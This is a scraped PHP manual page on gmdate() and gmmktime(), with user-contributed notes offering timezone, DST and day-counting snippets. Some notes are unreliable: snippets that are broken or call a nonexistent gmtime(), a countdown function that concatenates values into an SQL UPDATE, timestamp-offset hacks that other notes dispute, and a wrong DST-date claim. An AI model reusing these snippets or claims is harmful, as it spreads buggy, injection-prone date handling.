Supply a start date, end date and optional output date/time format the default is in seconds but will expand from SS to MM:SS and then to HH:MM:SS automatically, you may wish to force a date format that will not be dynamic (site layout etc). See examples below, also see function date() for more date format options.

<?php
function calculate_time_past($start_time, $end_time, $format = "s") {
    $time_span = strtotime($end_time) - strtotime($start_time);
    if ($format == "s") { // is default format so dynamically calculate date format
        if ($time_span > 60) { $format = "i:s"; }
        if ($time_span > 3600) { $format = "H:i:s"; }
    }
    return gmdate($format, $time_span);
}

$start_time = "2007-03-28 00:50:14"; // 00:50:14 will work on its own
$end_time = "2007-03-28 00:52:59"; // 00:52:59 will also work instead

echo calculate_time_past($start_time, $end_time) . "<br />"; // will output 02:45
echo calculate_time_past($start_time, $end_time, "H:i:s"); // will output 00:02:45 when format is overridden
?>

I hope it of use.
Regards,
Ashley
derek at d3swimming dot com 13-Nov-2006 08:30
I don't really know what I'm doing, so I just stole various parts of this from other people around here and did a little improvising on my own.  Hope this is helpful to somebody.

This script allows you to insert just three variables: direction from GMT to your timezone ($sign), number of hours to your timezone ($h), and whether or not you have daylight savings time ($dst).  The rest, including daylight savings time, will take care of itself (unless I don't know what I'm doing!).

<?php
// Get info about time zone relationship to GMT at: http://wwp.greenwichmeantime.com/

// SELECT TIME ZONE
$sign = "-"; // Whichever direction from GMT to your timezone.
$h = "8"; // Hour for time zone goes here e.g. +8 or -4, just remove the + or -
$dst = "true"; // Just insert "true" if your location uses daylight savings time or "false" if it does not

// DETECT AND ADJUST FOR DAYLIGHT SAVINGS TIME
if ($dst) {
    $daylight_saving = date('I');
    if ($daylight_saving){
        if ($sign == "-"){ $h=$h-1;  }
        else { $h=$h+1; }
    }
}

// FIND DIFFERENCE FROM GMT
$hm = $h * 60;
$ms = $hm * 60;

// SET CURRENT TIME
if ($sign == "-"){ $timestamp = time()-($ms); }
else { $timestamp = time()+($ms); }

// SAMPLE OUTPUT
$gmdate = gmdate("m/d/Y g:i:s A", $timestamp);

echo "Your current time now is :  $gmdate . ";
?>
ttech5593 at gmail dot com 28-Mar-2006 02:53
For me most of the examples here needed the + or - seconds to set the time zone. I wanted a faster way to get the time zone in seconds. So I created this :
<?php
$h = "3";// Hour for time zone goes here e.g. +7 or -4, just remove the + or -
$hm = $h * 60;
$ms = $hm * 60;
$gmdate = gmdate("m/d/Y g:i:s A", time()-($ms)); // the "-" can be switched to a plus if that's what your time zone is.
echo "Your current time now is :  $gmdate . ";
?>
It works. Hope it helps.
gefiltefishee at comcast dot net 11-Mar-2006 01:54
I was struggling with how to get my browser to output MY local time using gmdate().

I figured it out and here's what you do (ASSUMING THE SERVER IS ON GMT, If not, just echo a generic gmdate() without timezone setting and calculate the number of hours ahead or behind you are of that time, convert it to seconds and add [for ahead] or subtract [for behind] that value to time() ):

NOTE: these are US times [setlocale(LC_TIME, 'en_US')]

for Central Time (7 hours behind GMT):
gmdate("format", time()-(25200));

For Pacific Time (9 hours behind GMT):
gmdate("format", time()-(32400));

REMEMBER - THE VALUES ABOVE ASSUME THE SERVER IS ON GMT

I used the following gmdate() format:
"l, F jS, Y  g:i a"
but you can use what you like ;)

Hope this helps!
fernandobassani at gmail dot com 28-Dec-2005 05:35
If you have the same application running in different countries, you may have some troubles getting the local time..
In my case, I was having troubles with a clock created with Macromedia Flash... the time shown by the clock was supposed to be set up by the server, passing the timestamp. When I moved the file to another country, I got a wrong time...
You can use the timezone offset ( date("Z") ) to handle this kind of thing...

<?php
$timestamp = time()+date("Z");
echo gmdate("Y/m/d H:i:s",$timestamp);
?>
Sir Derek G 24-Nov-2005 11:00
Here's a nifty little function that returns a random timestamp between two dates.

<?php
//////////////////////////////////////////////////////////
// Return a random timestamp between two dates (inclusive)
// Example: Tue, 08 Nov 2004 06:47:10 GMT
//
// time - Starting time string
// Valid Examples:
// 10 September 2001
// next Thursday
// last Monday
// now
//
// time2 - Ending time string
function randomTimestamp($time = "" , $time2 = "")
{
    if(!$time) $time = strtotime("10 September 2000");
    if(!$time2) $time2 = strtotime("24 November 2005");
    $timestamp = date(" D, d M Y", rand( settype($time , int) , settype($time2 , int) )); //Must be called once before becoming random, ???
    $timestamp = date(" D, d M Y", rand($time , $time2))." ";//Now it's random

    $h = rand(1,23);
    if(strlen($h) == 1 ) $h = "0$h";
    $t = $h.":";

    $d = rand(1,29);
    if(strlen($d) == 1 ) $d = "0$d";
    $t .= $d.":";

    $s = rand(0,59);
    if(strlen($s) == 1 ) $s = "0$s";
    $t .= $s;

    $timestamp .= $t." GMT";
    return $timestamp;
}
?>
rob at geek dot co dot nz 07-Nov-2005 12:06
It's worth noting the distinction between gmgate() and date() with regards to day light savings time. If your server uses universal time and makes an adjustment by locale for daylight savings time, you will want to use date(). gmdate will display the non-adjuisted time.
paul at sysnyx dot com 23-Sep-2005 01:16
Gives user the ability to use their timezone preferences.
I had to create this script for a very large community. I first made any posts to the database that would display the date using just time();

Example: mysql_query("INSERT INTO `table` (`datetime`) VALUES ('".time()."')");

Also, for their timezone preference, I had the values as (example):
(Eastern Timezone) -5 hours
(Newfoundland) -3 hours -30 minutes

This information would be saved in the users table.
To display the date and time in their respective timezone preference:

<?php
function datetime($datetime,$zone){
if(date('I')):$datetime+=60*60;endif;
return gmdate('m-d-Y - h:i:sa',strtotime($zone,$datetime));
}
?>

$datetime would be the information pulled from the database from a post for news, forums, etcetera (remember, the inserted table data for the time was using time();)
$zone would be the information pulled from the database from the users timezone preference.

I also used cookies to store their timezone:
$sth=mysql_query("SELECT `datetime` FROM `table` LIMIT 1");
$row=mysql_fetch_assoc($sth);
echo datetime($row['datetime'],$_COOKIE['timezone']);

Remember to set the 'm-d-Y - h:i:sa' to how you wish the time to display. Visit the manual about date().
ncofreNOSPAMPLEASE at step2u dot com 20-May-2005 04:21
Want to put different International Times in your web?

First create a database including the GMT and the DST (find it f.i. at timeanddate.com). Be careful, because there are several different DST dates and options.

Once you have your function which calculates the GMT hour difference (it can be a decimal!!), sum it to the Unix Time (remember that unix time is GMT, not local: f.i. gmdate("U")===date("U)).

Don't forget to recalculate the GMT difference to seconds before it.

Then format your date using gmdate() (not date()!) and... you've got your International Time!

<?php

$city["Name"] = "Barcelona";
$city["GMT"] = 1.0;
$city["actualDST"] = 1.0; //Because it's summer time

$gmt_diff = $city["GMT"]+$city["actualDST"]; //your functions for getting the hour difference betweer the city and the GMT
$city_time = time()+($gmt_diff*3600); //sum the timestamps
echo gmdate("H:i",$city_time); //echo the formatted date
echo " h. in the beautiful city of ".$city["Name"];

?>
Kogik inc dot -- info at kogik dot com 08-Jul-2004 02:35
Wath out for summer time and winter time...

If you want to get the current date and time based on GMT you could use this :

<?php
$timezone  = -5; //(GMT -5:00) EST (U.S. & Canada)
echo gmdate("Y/m/j H:i:s", time() + 3600*($timezone+date("I")));
?>

this would gives: 2004/07/8 14:35:19 in summer time
and 2004/07/8 13:35:19 in winter time.

Note that date("I") returns 1 in summer and 0 in winter.
www.l-serwis.wpt.pl 13-Nov-2003 01:51
If you want to get time in your timezone try this:

<?php
$zone=3600*0 //GMT
$zone=3600*1 //CET
$zone=3600*-5//USA
$date=gmdate("D M Y H:i", time() + $zone);
?>
08-Sep-2002 09:26
Do not use the "T" timezone specifier to generate "GMT", as this may return "UTC" or "GMT+0000" or "Z" or something else which depends on the running platform, which would not be RFC1123 compliant.

Use 'D, d M Y H:i:s \G\M\T' which forces the value of the timezone indicator.

Note that RFC1123 requires the use of ENGLISH day and month abbreviations. They MUST NOT be localized!

An example of the RFC1123 format for full dates is:
Sun, 06 Nov 1994 08:49:37 GMT

Note the presence of the leading 0 (RFC1123 dates have a fixed size, and space padding is prohibited because it causes problems with fixed size handling when such dates are used in HTTP headers that may compress whitespaces.

Some proxies accept also the ISO 8601 format, but this is not documented in HTTP/1.1 specs (RFC2616).

Examples:
<?php
header('Date: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Last-Modified: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Expires: '.gmdate('D, d M Y H:i:s \G\M\T', time() + 3600));
?>

or if you prefer double quotes and don't want to bother with double backslashes:
<?php
header("Date: ".gmdate("D, d M Y H:i:s", time())." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s", time())." GMT");;
header("Expires: ".gmdate("D, d M Y H:i:s", time() + 3600)." GMT");
?>
14-Jun-2002 08:09
For an RFC 1123 (HTTP header date) date, try:

<?php
$rfc_1123_date = gmdate('D, d M Y H:i:s T', time());
?>
gettimeofday
gmmktime
Date/Time Functions


Get Unix timestamp for a GMT date

gmdate
gmstrftime
Date/Time Functions
PHP Manual

gmmktime

(PHP 4, PHP 5)

gmmktime — Get Unix timestamp for a GMT date

Description

 int gmmktime
  ([ int $hour = gmdate("H")
 [, int $minute = gmdate("i")
 [, int $second = gmdate("s")
 [, int $month = gmdate("n")
 [, int $day = gmdate("j")
 [, int $year = gmdate("Y")
 [, int $is_dst = -1
]]]]]]] )

Identical to mktime() except the passed parameters represents a GMT date. gmmktime() internally uses mktime() so only times valid in derived local time can be used.

Like mktime(), arguments may be left out in order from right to left, with any omitted arguments being set to the current corresponding GMT value.

Parameters

hour

The number of the hour relevant to the start of the day determined by month, day and year. Negative values reference the hour before midnight of the day in question. Values greater than 23 reference the appropriate hour in the following day(s).

minute

The number of the minute relevant to the start of the hour. Negative values reference the minute in the previous hour. Values greater than 59 reference the appropriate minute in the following hour(s).

second

The number of seconds relevant to the start of the minute. Negative values reference the second in the previous minute. Values greater than 59 reference the appropriate second in the following minute(s).

month

The number of the month relevant to the end of the previous year. Values 1 to 12 reference the normal calendar months of the year in question. Values less than 1 (including negative values) reference the months in the previous year in reverse order, so 0 is December, -1 is November, etc. Values greater than 12 reference the appropriate month in the following year(s).

day

The number of the day relevant to the end of the previous month. Values 1 to 28, 29, 30 or 31 (depending upon the month) reference the normal days in the relevant month. Values less than 1 (including negative values) reference the days in the previous month, so 0 is the last day of the previous month, -1 is the day before that, etc. Values greater than the number of days in the relevant month reference the appropriate day in the following month(s).

year

The year

is_dst

Parameters always represent a GMT date so is_dst doesn't influence the result.

Return Values

Returns a integer Unix timestamp.

Changelog

Version | Description
5.1.0 | As of PHP 5.1.0, the is_dst parameter became deprecated. As a result, the new timezone handling features should be used instead.

Examples

Example #1 gmmktime() basic example

<?php
// Prints: July 1, 2000 is on a Friday
echo "July 1, 2000 is on a " . date("l", gmmktime(0, 0, 0, 7, 1, 2000));
?>

See Also

  • mktime() - Get Unix timestamp for a date
  • date() - Format a local time/date
  • time() - Return current Unix timestamp

User Contributed Notes

kalilya at live dot com dot ar 25-Sep-2010 07:57
hola, les traia una noticia que tal vez no la sepan, otros capaz que si, pero se rumorea de una posible nueva serie de captain tsubasa en la champions league.
babonk at irc dot freenode dot net 05-May-2009 01:00
GMT time is useful for avoiding the daylight's savings issue.  I had to use it to get a working date difference function:

<?php
function dateDiff($date1, $date2) //returns the difference, in days, between two dates.  avoids the daylight's savings issue by using GMT
{
    $date1 = date_parse($date1);
    $date2 = date_parse($date2);
    return ((gmmktime(0, 0, 0, $date1['month'], $date1['day'], $date1['year']) - gmmktime(0, 0, 0, $date2['month'], $date2['day'], $date2['year']))/3600/24);
}
?>
Thomas 16-May-2008 12:45
I reviewed Greg's note and can confirm the different output of mktime() and gmmktime(). Ben stated that this true only if you use arguments. But this is not true. If you are outside of the GMT timezone mktime() is never identical to gmmktime().
ben at sixg dot com 15-May-2008 05:17
As an addendum to my previous note (php.net said it was too long and I had to split this part off), I'll leave you with one more fun tidbit. :)

(See the note below this one for a full explanation of timezones versus unix timestamps.)

3 AM PST == 11 AM GMT, right?  11 AM _GMT_ > 3 AM _GMT_ (same timezone) right?  So, logically, 3 AM PST > 3 AM GMT.  (Makes sense right, it is 3 AM in California 8 hours after it is 3 AM in Greenwich.)  Now, because timestamps are timezone-independent (or, always GMT/UTC), you get a strange situation.  mktime(3) > gmmktime(3).  Even though PST is GMT-8, so PST is less than GMT, mktime(3) is _greater_ than gmmktime(3).  At first glance you'd probably expect mktime(3) to be less than gmmktime(3), but because of everything I described before, about how timestamps are always GMT/UTC (or, in some senses, no timezone at all), it ends up being "backwards."  (Run a few examples yourself if you don't believe me.)  Yet another reason not to try to deal with timezones at the timestamp level!
ben at sixg dot com 15-May-2008 04:38
The interaction of timezones with unix timestamps is a bit tricky so I thought I'd clarify so that people aren't led too far astray by Greg's and Glen's comments. :)

In the POSIX standard, "unix time" does not have a specified timezone.  It is universal.  For most intents and purposes you can think of them as always being GMT/UTC.  (And you can derive the UTC time from a "timestamp" by dividing it by 86400 and looking at the modulus.)  Do not ever try to adjust a timestamp by a timezone offset (specifically, do not ever use the code at the end of Glen's note).  Timezones are basically used only when "rendering" a timestamp from "unix time" into a "civil time" date/time string.

Let's take an example.  PST is GMT-8, and EST is GMT-5.  So when it is 3 AM in PST, it is 6 AM in EST.  At that exact moment in time, the _timestamp_ is identical in both time zones.  If I am sitting at my computer in PST, and you are at yours in EST, and I call you up and read you the current unix timestamp on my computer, it will match yours (assuming our clocks are both set accurately for our timezone).

So, time() always will return the same thing at the same actual moment, anywhere in the world.  gmmktime() and mktime(), when given specific time parameters, convert those time parameters FROM the appropriate timezone (GMT for gmmktime(), local time for mktime()), before computing the appropriate timestamp.  Again, for most intents and purposes you can imagine that mktime() first converts your input parameters to GMT and then calls gmmktime() which produces a GMT timestamp.  (For the purposes of this explanation, please ignore the fact that the PHP documentation says that internally gmmktime() calls mktime().)

HOWEVER, when called with no arguments, gmmktime() uses the current GMT time, and mktime() uses the current local time.  So, if you imagine the above conversion taking place where mktime() converts the (current) local time to GMT, it ends up essentially calling gmmktime() with the _current_ GMT time, just like gmmktime() does all by itself.

This is why time(), gmmktime(), and mktime() all return the same exact timestamp, _when called with no arguments_.  This is why Glen saw them all produce the same thing.

Greg wrote that gmmktime() will return something different if you are not sitting in the GMT timezone, but this is only true if you have given it arguments from which to construct a timestamp.

So let's look at that situation again.  Say I am in PST and it's 3 AM PST.  (And therefore it is 11 AM GMT.)  mktime() lets me override one field at at time, and the first argument is, conveniently, the hour field.  So if I call mktime(3), I get the same answer as mktime().  Makes sense, right?  I just told it to give me the timestamp corresponding to 3 AM local time.  If I call gmmktime(11), I get the same answer as gmmktime(), since it is currently 11 AM GMT.  mktime(3) and gmmktime(11) refer to the same exact point in time, because PST is 8 hours behind GMT.  So it makes sense that mktime(3) == gmmktime(11).  And sine mktime() == mktime(3) (at this moment), and gmmktime() == gmmktime(11) (at this moment), it makes sense that gmmktime() == mktime().

Now, back to Greg's note about gmmktime() being different.  With identical arguments, their output will be different, e.g. mktime(3) != gmmktime(3).  This makes sense because 3 AM PST != 3 AM GMT.

Okay, that should be all you need to know to deal with the interaction between timestamps and timezones.  Don't ever try to convert timezones by adding or subtracting to the timestamp.  Timestamps don't really have timezones, it is apples and oranges, and you'll either get the wrong answer in some situations or end up with code that no one can maintain.  Leave it up to the higher-level PHP functions to do the conversion.  (If you want to hack things, strtotime is handy and it can work with timezones; let it do the hard work for you.)
Greg 17-Apr-2008 02:19
In addition to GLEN's post on DEC 5th 2007

(Just a note for others)

The results for the three time types Glen listed under "returns" all returned the exact same timestamp
 - 1196812966

Using those three functions will only make the exact same timestamp if the server the code is executed on IS in GMT timezone.

'mktime()' and 'time()' will both return the timestamp for your server time, and will both be the same as eachother.
gmmktime will return a GMT timestamp.

So if run on a server that is NOT in the GMT timezone then gmmktime will return a different timestamp to the other two.
PHPcoder at freemail dot ig3 dot net 06-Sep-2007 11:26
gmmktime() should ONLY be used to create a timestamp when specifying a specific GMT date and time.

If you want to make a valid time stamp for the current date & time, use mktime() instead.

UNIX timestamps, by definition, store the GMT time relative to the UNIX epoch.

gmmktime() (without any parameters specified) will effectively use the computer's LOCAL time values just the same as if they were explicit parameters, and the resulting time stamp will be incorrect.  (The resulting timestamp will actually be offset in the OPPOSITE direction of the local timezone offset from GMT!)
moshe dot ortov at gmail dot com 13-Jun-2007 12:57
Beware that despite the documentation which states is_dst is ignored, with PHP 5.2 at least, it is not actually ignored and will cause a 1 hour offset on the UTC time returned.

This caused some interesting bugs, especially with the tzdelta function shown from previous posts below - you need to make the final parameter a 0 instead of $ar[8] otherwise you get an off-by-1-hour as a result.

As a result, I now use :

<?php
function tzdelta ( $iTime = 0 ) {
        if ( 0 == $iTime ) { $iTime = time(); }
        $ar = localtime ( $iTime );
        $ar[5] += 1900; $ar[4]++;
        $iTztime = gmmktime ( $ar[2], $ar[1], $ar[0], $ar[4], $ar[3], $ar[5], 0);
        return ( $iTztime - $iTime );
}
?>
Tom 19-Jan-2007 02:05
I was getting odd results using gmmktime...

I was converting a date/time to a timestamp to get a date/time in the future. Date/time to convert: Friday 19th of January 2007 10:06:00 PM.

<?php

gmmktime(9, 46, 0, 1 19, 2007);

?>

Returns this timestamp: 1169201160.

When formatted into a GMT date/time it comes out as Friday 19th of January 2007 10:06:00 AM. Notice it's 12 hours out from the original date/time.

I finally found the reason to be that gmmktime needs a 24 time not 12, should of noticed this since it doesn't have an am/pm input.

So the correct call would be something like...

<?php

if($date_time_ampm == "PM") $time_hours += 12;

gmmktime($time_hours, 46, 0, 1 19, 2007);

?>
francois at bonzon dot com 21-Dec-2005 12:34
In response to mirko at example dot com is_est function, to be exact, the two lines defining $begin_time and $end_time should read:

<?php

$begin_time = gmmktime(1, 0, 0, 3, $begin_date, $Y);
$end_time = gmmktime(1, 0, 0, 10, $end_date, $Y);

?>

Because the clocks go forward, resp. back at 01.00 UTC, not at midnight.
mirko at example dot com 31-Oct-2005 04:33
<?php

/**
 * Check if given time is during Europen Summer Time
 *
 * @link http://en.wikipedia.org/wiki/European_Summer_Time
 * @param int $time UTC timestamp (GMT)
 * @return boolean true if it is EST else false
 */
function is_est($time)
{
    // get year
    $Y = gmdate("Y", $time);

    // calc start / end dates and time for that year
    $begin_date = (31 - (5*$Y/4 + 4) % 7);
    $end_date = (31 - (5*$Y/4 + 1) % 7);
    $begin_time = gmmktime(0,0,0,  3,$begin_date,$Y);
    $end_time = gmmktime(0,0,0,  10,$end_date,$Y);

    // if it's in that period
    $is_dst = $time >= $begin_time && $time < $end_time;
    return $is_dst;
}

?>
ranjeet at magnet-i dot com 16-Sep-2005 05:52
<?php
function getTimeRemaining($timeZonePass,
$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
   $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
   $timeZone);
else
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
           $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
           $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
           $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
else
   $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
           $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
       $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
   $daysRemaining = floor($timeMinus/
                   $secondsInDay);
   if($daysRemaining >1 )
       return $daysRemaining ."&nbsp;Days&nbsp;";
   else
       return $daysRemaining ."&nbsp;Day&nbsp;";
}

if(empty($daysRemaining))
{
   $secondsInHour= 60*60;
   if ($secondsInHour <= $timeMinus)
   {
       $hoursRemaining =floor ($timeMinus/
                       $secondsInHour);
       if($hoursRemaining > 1 )
           return $hoursRemaining ."&nbsp;Hours&nbsp;";
       else
           return $hoursRemaining ."&nbsp;Hour&nbsp;";
   }
}

if(empty($hoursRemaining))
{
   //$secondsRemaining = $timeMinus. "&nbsp;Seconds";
   $secondsInMinute = 60;
   if ($secondsInMinute <= $timeMinus)
   {
       $mintuesRemaining =floor ($timeMinus/
               $secondsInMinute);
       if($mintuesRemaining > 1 )
           return $mintuesRemaining ."&nbsp;Minutes&nbsp;";
       else
           return $mintuesRemaining ."&nbsp;Minute&nbsp;";
   }
}

if(empty($mintuesRemaining))
{
   $secondsRemaining = $timeMinus;
   if($secondsRemaining < 0)
   {
       timedOutSale($ID,$table,$coloumnName);
       return "Time out";
   }
   elseif($secondsRemaining > 1 )
       return $secondsRemaining . "&nbsp;Seconds";
   else
       return $secondsRemaining . "&nbsp;Second";
}
}

function timedOutSale($ID,$table)
{
   GLOBAL $configVars, $db,$tableNames;
   $query =  "UPDATE " . $table
                   . " SET status = 'T'
                   WHERE $coloumnName = '" . $ID ."'";

           $result = $db->query($query);
   return;
}

?>
15-Sep-2005 09:02
<?php
function getTimeRemaining($timeZonePass,$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
    $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
    $timeZone);
else
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
            $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
            $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
            $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
    $slectedGmktimeAdded=($slectedGmktime)+
                        ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
    $slectedGmktimeAdded=($slectedGmktime)+
                        ($timeZone);
else
    $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
            $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
        $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
    $daysRemaining = floor($timeMinus/
                    $secondsInDay);
    if($daysRemaining >1 )
        return $daysRemaining ." Days ";
    else
        return $daysRemaining ." Day ";
}

if(empty($daysRemaining))
{
    $secondsInHour= 60*60;
    if ($secondsInHour <= $timeMinus)
    {
        $hoursRemaining =floor ($timeMinus/
                        $secondsInHour);
        if($hoursRemaining > 1 )
            return $hoursRemaining ." Hours ";
        else
            return $hoursRemaining ." Hour ";
    }
}

if(empty($hoursRemaining))
{
    //$secondsRemaining = $timeMinus. " Seconds";
    $secondsInMinute = 60;
    if ($secondsInMinute <= $timeMinus)
    {
        $mintuesRemaining =floor ($timeMinus/
                $secondsInMinute);
        if($mintuesRemaining > 1 )
            return $mintuesRemaining ." Minutes ";
        else
            return $mintuesRemaining ." Minute ";
    }
}

if(empty($mintuesRemaining))
{
    $secondsRemaining = $timeMinus;
    if($secondsRemaining < 0)
    {
        timedOutSale($ID,$table,$coloumnName);
        return "Time out";
    }
    elseif($secondsRemaining > 1 )
        return $secondsRemaining . " Seconds";
    else
        return $secondsRemaining . " Second";
}
}

function timedOutSale($ID,$table)
{
    GLOBAL $configVars, $db,$tableNames;
    $query =  "UPDATE " . $table
                    . " SET status = 'T'
                    WHERE $coloumnName = '" . $ID ."'";

            $result = $db->query($query);
    return;
}
?>
jbr (AT) ya-right.com 13-Feb-2005 10:04
I have seen many different hacked versions of this function for people using Windows that want to support dates before Jan 1, 1970. Here is yet another one that is different than others you may have seen! It does not use loops like all the others I have seen!

<?php

// usage...

echo win_gmmktime ( 12, 43, 16, 07, 23, 1946 );

function win_gmmktime ( $hour, $minute, $second, $month, $day, $year )
{
    if ( $year > 1969 )
    {
        return ( gmmktime ( $hour, $minute, $second, $month, $day, $year ) );
    }

    $t = 0;
    $ds = 86400;
    $hs = 3600;
    $dy = 365;
    $ms = 60;

    $months = array ( 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 );
    $leap_year = $year % 4 == 0 && ( $year % 100 > 0 || $year % 400 == 0 ) ? true : false;

    if ( $year < 1969 )
    {
        $y = 1969 - $year;
        $t -= ( $y * $dy ) * $ds;
        $x = ceil ( $y / 4 );

        if ( $leap_year && $month > 2 )
        {
            $x -= 1;
        }

        $t -= $x * $ds;
    }

    if ( $month != 12 )
    {
        $tm = $months;
        $tm = array_slice ( $tm, $month );
        $t -= array_sum ( $tm ) * $ds;
        unset ( $tm );
    }

    $nh = ( ( $month == 2 && $leap_year ? 29 : $months[$month-1] ) - $day );
    $t -= $nh != 0 ? $nh * $ds : 0;
    $nh = 23 - $hour;
    $t -= $nh != 0 ? $nh * $hs : 0;
    $nh = 59 - $minute;
    $t -= $nh != 0 ? $nh * $ms : 0;
    $nh = 59 - $second;
    $t -= $nh != 0 ? $nh + 1 : 0;

    return ( $t );
}

?>
welch at advomatic dot com 02-Feb-2005 12:48
Here is a handy routine for counting down to the minute, hour, and day to a timestamp

<?php
      $minutesleft = floor(($timestamp - gmtime()) / 60);

      if ($minutesleft < 0) {
        $timeleft = 'NOW';
      }
      else if ($minutesleft < 60) {
        $timeleft = ($minutesleft==1 ? '1 minute' : $minutesleft.' minutes');
      }
      else if ($minutesleft >= 60 && $minutesleft < (24*60)) {
        $timeleft = (floor($minutesleft/60) == 1 ? '1 hour' : floor($minutesleft/60).' hours');
      }
      else if ($minutesleft >= (24*60)) {
        $days = floor($minutesleft / (24*60));
        // hours remainder
        $hours = ($minutesleft % (24*60)) / 60;
        // hours left in the day
        $hours_left = ((time() / 60) % (24*60)) / 60;
        // see if the remainder of hours is greater than the hours left in today, if so increase the days by one so that the days remaining mimics the date rather than how many 24 hour periods there are between now and then.
        if($hours > $hours_left) {
          $days++;
        }
        $timeleft = ($days == 1 ? '1 day' : $days.' days');
      }

      echo $timeleft;
?>
imoore76 at yahoo dot com 15-Jan-2005 01:16
Why not just do:

<?php

// assuming $start and $end are timestamps

$day_diff = floor(abs($start - $end) / 86400);

?>
justin at booleangate dot org 05-Jan-2005 12:10
Here's a play on turgut85's countDays function.  I've found it to be more efficient and it accepts unix timestamps rather than arrays.  Thanks for the ideas.

<?php
function count_days($start, $end) {
  // Count the days between $start and $end where both $start and $end
  //  are UNIX timestamps

  // Swap the two values if end is greater than start (to avoid the
  //  loop of death).
  if ($start < $end) {
    $t = $start;
    $start = $end;
    $end = $t;
  }

  // Increment the start time by one day until it is equal to the
  //  end time

  $days = 0;
  while ( $start < $end ) {
    $start = strtotime("+1 days", $start);
    $days++;
  }

  return $days;
}
?>
turgut85 at hotmail dot com 06-Dec-2004 08:53
<?php

// THIS ROUTINE COUNT DAYS BEETWEEN TWO DATE //
// BEGIN DATE COULD BE IN THE PAST OR IN THE FUTURE //

$beg['YEAR']=2004;
$beg['MONTH']=10;
$beg['DAY']=1;

$end['YEAR']=2004;
$end['MONTH']=10;
$end['DAY']=3;

function countDays ($beg,$end) {

$start = gmmktime(0,0,0,$beg['MONTH'],$beg['DAY'],$beg['YEAR']);
$endin = gmmktime(0,0,0,$end['MONTH'],$end['DAY'],$end['YEAR']);

// echo $start."\n";
// echo $endin."\n";

$day = 0;

if ($start < $endin) {
$toward = 1;
} else  {
$toward = 0;
}

$mover = $start;

if ($start != $endin) {

do {

$day++;

    if ($toward)  {
    $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']+$day),$beg['YEAR']);
    } else {
    $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']-$day),$beg['YEAR']);
    }

} while ($mover != $endin);

}

echo $day;

return $day;
}

echo countDays ($beg,$end). " days. ";

?>

Turgut Z. YESILYURT
turgut85@hotmail.com
System and Application Developer
New Jersey, USA
mwwaygoo AT hotmail DOT com 22-Nov-2004 09:36
REF: http://www.dti.gov.uk/er/sumtimetb.htm

Since 1981 EC Directives have prescribed the start and end dates of summer time in all Member States.  There have to date been eight Directives which have set summer-time arrangements for fixed periods. The Summer Time Act 1972 sets the appropriate dates in the UK and summer-time orders have been made as necessary to implement the European Directives. The 9th EC Directive prescribes the start and end dates of summer time as the last Sundays in March and October respectively. These dates are in line with those already operating in the United Kingdom. The 9th Directive provides that these start and end dates should apply indefinitely.
---
9th EC Directive - 19 January 2001

Article 1
For the purposes of this Directive "summer-time period" shall mean the period of the year during which clocks are put forward by 60 minutes compared with the rest of the year.

Article 2
From 2002 onwards, the summer-time period shall begin, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in March.

Article 3
From 2002 onwards, the summer-time period shall end, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in October.

You stand corrected ;-)  (well up until 2007 anyway)
Andy 19-Oct-2004 07:00
mwwaygoo's code isn't quite right. My understanding is that the relevant dates for changing between daylight saving time in the UK is the third sunday of march and october - not the last sunday!
mwwaygoo AT hotmail DOT com 13-Sep-2004 03:51
I had a problem with hosting a UK site on a US server, the times didnt match (obviously) and also didnt account for daylight savings time. The daylight savings dates and times of change differ worldwide, so detecting if the server was in dst wouldnt work (see http://webexhibits.org/daylightsaving/).

Here is a function for creating a timestamp which can be used by date() to create all the parameters required to display the local time (site not server). I have used GMT time to create the timestamp as there is no offset for UK time (+00).

